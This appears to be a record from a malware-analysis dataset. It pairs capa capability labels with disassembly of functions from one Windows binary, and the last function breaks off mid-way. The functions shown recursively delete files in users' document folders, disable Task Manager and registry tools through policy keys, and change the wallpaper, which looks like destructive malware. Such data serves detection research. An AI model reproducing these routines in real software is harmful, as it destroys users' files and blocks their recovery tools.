joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402030
Capabilities:
Get disk information

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov word [rbp - 0xb], 0x3a3a
mov byte [rbp - 9], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call rax
mov dword [rbp - 4], eax
mov dword [rbp - 8], 1
cmp dword [rbp - 4], 0
je 0x40214f
mov eax, dword [rbp - 4]
and eax, 1
test eax, eax
je case.0x402098.0
cmp dword [rbp - 8], 0xa
ja case.0x402098.0
mov eax, dword [rbp - 8]
lea rdx, [rax*4]
lea rax, [0x004d7328]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x004d7328]
add rax, rdx
jmp rax
mov byte [rbp - 0xb], 0x42
lea rax, [rbp - 0xb]
mov rcx, rax
call fcn.00401ec7
jmp case.0x402098.0
mov byte [rbp - 0xb], 0x43
lea rax, [rbp - 0xb]
mov rcx, rax
call fcn.00401ec7
jmp case.0x402098.0
mov byte [rbp - 0xb], 0x44
lea rax, [rbp - 0xb]
mov rcx, rax
call fcn.00401ec7
jmp case.0x402098.0
mov byte [rbp - 0xb], 0x45
lea rax, [rbp - 0xb]
mov rcx, rax
call fcn.00401ec7
jmp case.0x402098.0
mov byte [rbp - 0xb], 0x46
lea rax, [rbp - 0xb]
mov rcx, rax
call fcn.00401ec7
jmp case.0x402098.0
mov byte [rbp - 0xb], 0x47
lea rax, [rbp - 0xb]
mov rcx, rax
call fcn.00401ec7
jmp case.0x402098.0
mov byte [rbp - 0xb], 0x48
lea rax, [rbp - 0xb]
mov rcx, rax
call fcn.00401ec7
jmp case.0x402098.0
mov byte [rbp - 0xb], 0x49
lea rax, [rbp - 0xb]
mov rcx, rax
call fcn.00401ec7
jmp case.0x402098.0
mov byte [rbp - 0xb], 0x4a
lea rax, [rbp - 0xb]
mov rcx, rax
call fcn.00401ec7
nop
mov eax, dword [rbp - 4]
shr eax, 1
mov dword [rbp - 4], eax
add dword [rbp - 8], 1
jmp 0x402055
nop
add rsp, 0x30
pop rbp
ret
Function at 0x4021b7
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x380
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x310], rcx
lea rax, [rbp + 0x1f0]
mov rdx, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcpyA]
call rax
lea rax, [rbp + 0x1f0]
lea rdx, [0x004d7362]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatA]
call rax
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0xffffffffffffffff
jne 0x4022b3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0x6f
je 0x402284
cmp eax, 0x6f
ja 0x402292
cmp eax, 0x15
je 0x402276
cmp eax, 0x15
ja 0x402292
cmp eax, 3
je 0x40225a
cmp eax, 5
je 0x402268
jmp 0x402292
lea rcx, [0x004d7365]
call fcn.0043ea70
jmp 0x4022a9
lea rcx, [0x004d7370]
call fcn.0043ea70
jmp 0x4022a9
lea rcx, [0x004d737f]
call fcn.0043ea70
jmp 0x4022a9
lea rcx, [0x004d738c]
call fcn.0043ea70
jmp 0x4022a9
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, [0x004d7399]
call fcn.0043ea70
mov eax, 1
jmp 0x4023c0
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x004d73a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpA]
call rax
test eax, eax
je 0x4022f7
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x004d73aa]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpA]
call rax
test eax, eax
jne 0x4022fe
mov eax, 1
jmp 0x402303
mov eax, 0
test al, al
jne 0x402392
lea rax, [rbp + 0xb0]
lea rdx, [rax + 0x2c]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8, qword [rbp + 0x310]
lea rdx, str._s_s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfA]
call rax
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, [0x004d73b3]
call fcn.0043ea70
mov eax, dword [rbp + 0xb0]
and eax, 0x10
test eax, eax
je 0x402371
lea rcx, str._____________________
call fcn.0043ea70
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004021b7
jmp 0x402393
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov eax, dword [0x0050504c]
add eax, 1
mov dword [0x0050504c], eax
jmp 0x402393
nop
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
setne al
test al, al
je 0x4023bb
jmp 0x4022b3
mov eax, 0
add rsp, 0x380
pop rbp
ret
Function at 0x40251f
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x380
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x310], rcx
mov qword [rbp + 0x318], rdx
lea rax, [rbp + 0x1f0]
mov rdx, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcpyA]
call rax
lea rax, [rbp + 0x1f0]
lea rdx, [0x004d7362]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatA]
call rax
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0xffffffffffffffff
jne 0x402622
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0x6f
je 0x4025f3
cmp eax, 0x6f
ja 0x402601
cmp eax, 0x15
je 0x4025e5
cmp eax, 0x15
ja 0x402601
cmp eax, 3
je 0x4025c9
cmp eax, 5
je 0x4025d7
jmp 0x402601
lea rcx, [0x004d7365]
call fcn.0043ea70
jmp 0x402618
lea rcx, [0x004d7370]
call fcn.0043ea70
jmp 0x402618
lea rcx, [0x004d737f]
call fcn.0043ea70
jmp 0x402618
lea rcx, [0x004d738c]
call fcn.0043ea70
jmp 0x402618
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, [0x004d7399]
call fcn.0043ea70
mov eax, 1
jmp 0x40279e
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x004d73a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpA]
call rax
test eax, eax
je 0x402666
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x004d73aa]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpA]
call rax
test eax, eax
jne 0x40266d
mov eax, 1
jmp 0x402672
mov eax, 0
test al, al
jne 0x402770
lea rax, [rbp + 0xb0]
lea rdx, [rax + 0x2c]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8, qword [rbp + 0x310]
lea rdx, str._s_s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfA]
call rax
mov eax, dword [rbp + 0xb0]
and eax, 0x10
test eax, eax
je 0x4026cb
mov rdx, qword [rbp + 0x318]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.0040251f
jmp 0x402771
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
sub rax, 1
movzx edx, byte [rbp + rax - 0x60]
mov rax, qword [rbp + 0x318]
add rax, 2
movzx eax, byte [rax]
cmp dl, al
jne 0x402771
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
sub rax, 2
movzx edx, byte [rbp + rax - 0x60]
mov rax, qword [rbp + 0x318]
add rax, 1
movzx eax, byte [rax]
cmp dl, al
jne 0x402771
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
sub rax, 3
movzx edx, byte [rbp + rax - 0x60]
mov rax, qword [rbp + 0x318]
movzx eax, byte [rax]
cmp dl, al
jne 0x402771
mov eax, dword [0x0050504c]
add eax, 1
mov dword [0x0050504c], eax
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, [0x004d73f2]
call fcn.0043ea70
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
jmp 0x402771
nop
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
setne al
test al, al
je 0x402799
jmp 0x402622
mov eax, 0
add rsp, 0x380
pop rbp
ret
Function at 0x402e18
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x380
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x310], rcx
lea rax, [rbp + 0x1f0]
mov rdx, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcpyA]
call rax
lea rax, [rbp + 0x1f0]
lea rdx, [0x004d7362]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatA]
call rax
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0xffffffffffffffff
jne 0x402f14
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0x6f
je 0x402ee5
cmp eax, 0x6f
ja 0x402ef3
cmp eax, 0x15
je 0x402ed7
cmp eax, 0x15
ja 0x402ef3
cmp eax, 3
je 0x402ebb
cmp eax, 5
je 0x402ec9
jmp 0x402ef3
lea rcx, [0x004d7365]
call fcn.0043ea70
jmp 0x402f0a
lea rcx, [0x004d7370]
call fcn.0043ea70
jmp 0x402f0a
lea rcx, [0x004d737f]
call fcn.0043ea70
jmp 0x402f0a
lea rcx, [0x004d738c]
call fcn.0043ea70
jmp 0x402f0a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, [0x004d7399]
call fcn.0043ea70
mov eax, 1
jmp 0x403044
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x004d73a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpA]
call rax
test eax, eax
je 0x402f58
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x004d73aa]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpA]
call rax
test eax, eax
jne 0x402f5f
mov eax, 1
jmp 0x402f64
mov eax, 0
test al, al
jne 0x403016
lea rax, [rbp + 0xb0]
lea rdx, [rax + 0x2c]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8, qword [rbp + 0x310]
lea rdx, str._s_s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfA]
call rax
mov eax, dword [0x00505040]
add eax, 1
mov dword [0x00505040], eax
mov eax, dword [0x00505044]
add eax, 1
mov dword [0x00505044], eax
mov eax, dword [0x00505040]
lea rdx, [rbp - 0x60]
mov r8, rdx
mov edx, eax
lea rcx, str._n_d_t_s
call fcn.0043ea70
mov eax, dword [rbp + 0xb0]
and eax, 0x10
test eax, eax
je 0x403017
lea rcx, str.________________________________
call fcn.0043ea70
mov eax, dword [0x00505048]
add eax, 1
mov dword [0x00505048], eax
mov eax, dword [0x00505044]
sub eax, 1
mov dword [0x00505044], eax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00402e18
jmp 0x403017
nop
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
setne al
test al, al
je 0x40303f
jmp 0x402f14
mov eax, 0
add rsp, 0x380
pop rbp
ret
Function at 0x4031d9
Capabilities:
Check os version
Get common file path
Get session user name

Disassembly:
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x80]
lea rcx, [0x004d75c4]
call fcn.0043ea70
lea rax, [rbp + 0x80]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call rax
mov byte [rbp + 0x83], 0
mov dword [rbp - 0x20], 0x94
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetVersionExA]
call rax
mov eax, dword [rbp - 0x1c]
cmp eax, 5
je 0x40323e
cmp eax, 6
je 0x403298
jmp 0x4032d8
lea rax, [rbp + 0x80]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x80]
add rax, rdx
movabs rdx, 0x746e656d75636f44
movabs rcx, 0x655320646e612073
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rdi, 0x5c73676e697474
mov qword [rax + 0x10], rdi
jmp 0x4032d8
lea rax, [rbp + 0x80]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x80]
add rax, rdx
mov dword [rax], 0x72657355
mov word [rax + 4], 0x5c73
mov byte [rax + 6], 0
nop
mov dword [rbp - 0x24], 0x104
lea rdx, [rbp - 0x24]
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x80]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [rbp - 0x1c]
cmp eax, 5
je 0x403318
cmp eax, 6
je 0x403379
jmp 0x4033d6
lea rax, [rbp + 0x80]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x80]
add rax, rdx
movabs rdx, 0x75636f4420794d5c
movabs rcx, 0x65545c73746e656d
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rdi, 0x694620746e65636e
mov qword [rax + 0x10], rdi
mov dword [rax + 0x18], 0x73656c
jmp 0x4033d6
lea rax, [rbp + 0x80]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x80]
add rax, rdx
movabs rdx, 0x6e656d75636f445c
movabs rcx, 0x65636e65545c7374
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rdi, 0x73656c694620746e
mov qword [rax + 0x10], rdi
mov byte [rax + 0x18], 0
nop
lea rax, [rbp + 0x1a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLocalTime]
call rax
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.004021b7
lea rax, [rbp + 0x190]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLocalTime]
call rax
lea rcx, [0x004d75cb]
call fcn.0043ea70
mov rax, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1a8]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.004023c9
nop
add rsp, 0x238
pop rdi
pop rbp
ret
Function at 0x4038a3
Capabilities:
Manipulate console buffer

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
movss dword [rbp + 0x10], xmm0
movss dword [rbp + 0x18], xmm1
movss xmm1, dword [rbp + 0x18]
movss xmm0, dword [0x004d88e4]
mulss xmm0, xmm1
call fcn.0040385f
mov edx, eax
shr edx, 0x1f
add eax, edx
sar eax, 1
mov word [rbp - 4], ax
movss xmm0, dword [rbp + 0x10]
call fcn.0040385f
mov word [rbp - 2], ax
mov ecx, 0xfffffff5
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
call rax
mov rcx, rax
mov eax, dword [rbp - 4]
mov edx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
call rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x419066
Capabilities:
Delete file

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004c0290
lea rdx, [0x004d79d6]
mov rcx, qword [0x004de010]
call fcn.004cf880
lea rax, [rbp - 0x60]
mov rdx, rax
mov rcx, qword [0x004ddfe0]
call fcn.004d0c30
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.0044cfa0
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sub.msvcrt.dll_remove
test eax, eax
sete al
test al, al
je 0x4190ef
lea rdx, [0x004d79ef]
mov rcx, qword [0x004de010]
call fcn.004cf880
mov rdx, qword [0x004de020]
mov rcx, rax
call fcn.004954d0
jmp 0x419111
lea rdx, [0x004d79f9]
mov rcx, qword [0x004de010]
call fcn.004cf880
mov rdx, qword [0x004de020]
mov rcx, rax
call fcn.004954d0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004c05e0
jmp 0x41913a
add rsp, 0x58
pop rbx
pop rbp
ret

Function at 0x419141
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp - 0xc], 1
lea rax, [rbp - 8]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0xc]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableTaskMgr
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x4191b9
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp - 0xc], 1
lea rax, [rbp - 8]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0xc]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableRegistryTools
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x419231
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp - 4], 1
lea rax, [rbp - 0x10]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], 3
lea rdx, str.c:__
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.Wallpaper
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 4]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.WallpaperStyle
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x426f00
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00436e50
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00436e50
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x426f70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x008d81d4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x427118
mov rax, qword [0x008d81d8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x426fbc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x427047
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x426fa0
mov rcx, r12
call fcn.00427cd0
mov rbp, rax
test rax, rax
je 0x427152
mov rax, qword [0x008d81d8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.00427e00
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x008d81d8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x427161
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x427040
sub eax, 4
and eax, 0xfffffffb
jne 0x4270d0
add dword [0x008d81d4], 1
cmp ebx, 8
jae 0x427078
test bl, 4
jne 0x427120
test ebx, ebx
je 0x427069
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x427140
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x427069
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x4270aa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x008d81d8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x427040
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00426f00
nop dword [rax]
xor edi, edi
jmp 0x426fc7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x427069
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x427069
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00426f00
mov rax, qword [0x008d81d8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.00426f00
nop
nop dword [rax]
Function at 0x427940
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x008d84c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x008d84a0]
test rbx, rbx
je 0x427994
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x42798b
test r12, r12
je 0x42798b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x427970
lea rcx, [0x008d84c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x427cd0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004de5f0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x427d49
mov rcx, r10
call fcn.00427ba0
test eax, eax
je 0x427d49
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x427d46
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x427d3d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x427d49
add r8, 0x28
cmp r8, r9
jne 0x427d28
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x4286e0
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x80]
mov qword [rbp], r8
mov r15, rcx
movsxd rbx, edx
call sub.msvcrt.dll_strlen
mov rsi, rax
lea r13d, [rax + 0xf]
lea edi, [rax + 0x10]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.00427f80
sub rsp, rax
movsxd r12, esi
mov rdx, r15
movsxd r13, r13d
mov r8, r12
lea r14, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
movabs rax, 0x656d68732d636367
mov qword [rsp + 0x20], rax
mov eax, 0x326d
lea r15d, [rsi + 0x50]
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [r14 + r12 + 0x10]
mov r8, r14
movabs rdx, 0x6161616161616161
movabs rcx, 0x6161616161616161
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], rdx
xor edx, edx
mov qword [rax + 0x38], rcx
movsxd rax, r15d
xor ecx, ecx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + r13 + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + r13 + 0x20], 0x2d
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4287da
int3
mov rcx, r14
add esi, 0x51
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
je 0x428828
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, esi
call fcn.00428670
mov r14, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, r14
lea rsp, [rbp - 0x58]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rbx
call sub.msvcrt.dll_malloc
mov r13, rax
mov eax, 0x40
nop dword [rax + rax]
bt r13, rax
jae 0x428853
mov edx, r15d
sub edx, eax
movsxd rdx, edx
mov byte [r14 + rdx], 0x41
sub eax, 1
jne 0x428840
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
jne 0x428867
int3
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, esi
call fcn.00428670
mov r14, rax
cmp r13, rax
je 0x42888d
mov rcx, r13
call fcn.004367d8
jmp 0x4287ff
xor edx, edx
mov r8, rbx
mov rcx, rax
call sub.msvcrt.dll_memset
cmp qword [rbp], 0
je 0x4287ff
mov rcx, r14
call qword [rbp]
jmp 0x4287ff

Function at 0x439900
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x008d8fa8]
test rbx, rbx
je 0x439938
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
